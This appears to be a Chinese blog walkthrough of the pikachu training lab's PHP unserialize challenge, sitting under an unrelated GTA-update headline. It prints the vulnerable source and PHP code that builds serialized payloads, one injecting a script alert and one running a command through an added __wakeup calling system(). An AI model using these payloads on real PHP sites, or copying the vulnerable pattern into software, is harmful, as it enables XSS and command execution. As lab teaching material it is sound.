1. 程式人生 > 遊戲 >《GTA:三部曲-終極版》首個更新上線 修復超50個問題

《GTA:三部曲-終極版》首個更新上線 修復超50個問題

之前有篇文章詳細介紹了php反序列化的原理,這裡就不再多說

做一下這個靶場練練手

0x01 原始碼審計

目前我的理解是挖掘反序列化就需要知道該介面的類、物件、引數這些的詳情,

以及魔術方法的情況。

這裡的呼叫比較簡單,看看原始碼

<?php
/**
 * Created by runner.han
 * There is nothing new under the sun
 */


$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);

if ($SELF_PAGE = "unser.php"){
    
$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''); }
$PIKA_ROOT_DIR = "../../"; include_once $PIKA_ROOT_DIR.'header.php'; class S{ var $test = "pikachu"; function __construct(){ echo $this->test; } } $html=''; if(isset($_POST['o'])){ $s = $_POST['o']; if(!@$unser = unserialize($s)){ $html.="<p>大兄弟,來點勁爆點兒的!</p>"; }
else{ $html.="<p>{$unser->test}</p>"; } } ?>

鏈子呼叫分析

這裡的是S類,裡面只有1個$test變數,魔術方法是__construct,這個方法是用於

在建立物件時候初始化物件,一般用於對變數賦初值的。

然後再看判斷,簡單來說就是我們傳入成功的反序列化字串s,就會執行到else裡面對其進行列印輸出。

if(!@$unser = unserialize($s)) 這個if語句我糾結了半天,沒懂。

後來在大哥解釋下 意思是把反序列化的結果1賦值給$unser,如果反序列化成功那麼就是有值的也就會進入else,否則進入if下面語句 攻擊失敗!!

ps:at符號(@)在PHP中用作錯誤控制操作符。當表示式附加@符號時,將忽略該表示式可能生成的錯誤訊息。

0x02 構造鏈子

那麼我們只需要構造正確的序列化字串就行了:

<?php
class S{
    var $test = "pikachu";
}
$f = new S();
$payload = "<script>alert(1)</script>";
$f->test=$payload;
echo serialize($f);
?>

根據原始碼的S類建立一個物件$f,用該物件去呼叫類裡面的$test,重寫成我們的payload

然後序列化輸出

得到序列化結果 我們注入,成功彈窗

payload:O:1:"S":1:{s:4:"test";s:25:"<script>alert(1)</script>";}

0x03 總結再思考

前面已經說過這裡是通過else後的語句觸發漏洞的,如果這裡魔術方法是__wakeup,也就是在unserialize後自動呼叫的方法裡面寫到

function __wakeup(){
    
    system($this->test);
    }

這裡只是想模擬一下能命令執行的反序列化場景

這樣就能在我們執行到if判斷中執行unserialize時候觸發,就會回撥__wakeup,執行裡面的sysytem函式

那麼我們構造的程式碼應該是:

<?php
class S{
    var $test = "pikachu";
}
$f = new S();
$payload = "ipconfig";
$f->test=$payload;
echo serialize($f);
?>

序列化後的結果:

O:1:"S":1:{s:4:"test";s:8:"ipconfig";}

此時修改過後的php靶場被注入就命令執行了:

學到了一點點,還是不能著急, 安全之路 少就是多,慢就是快~~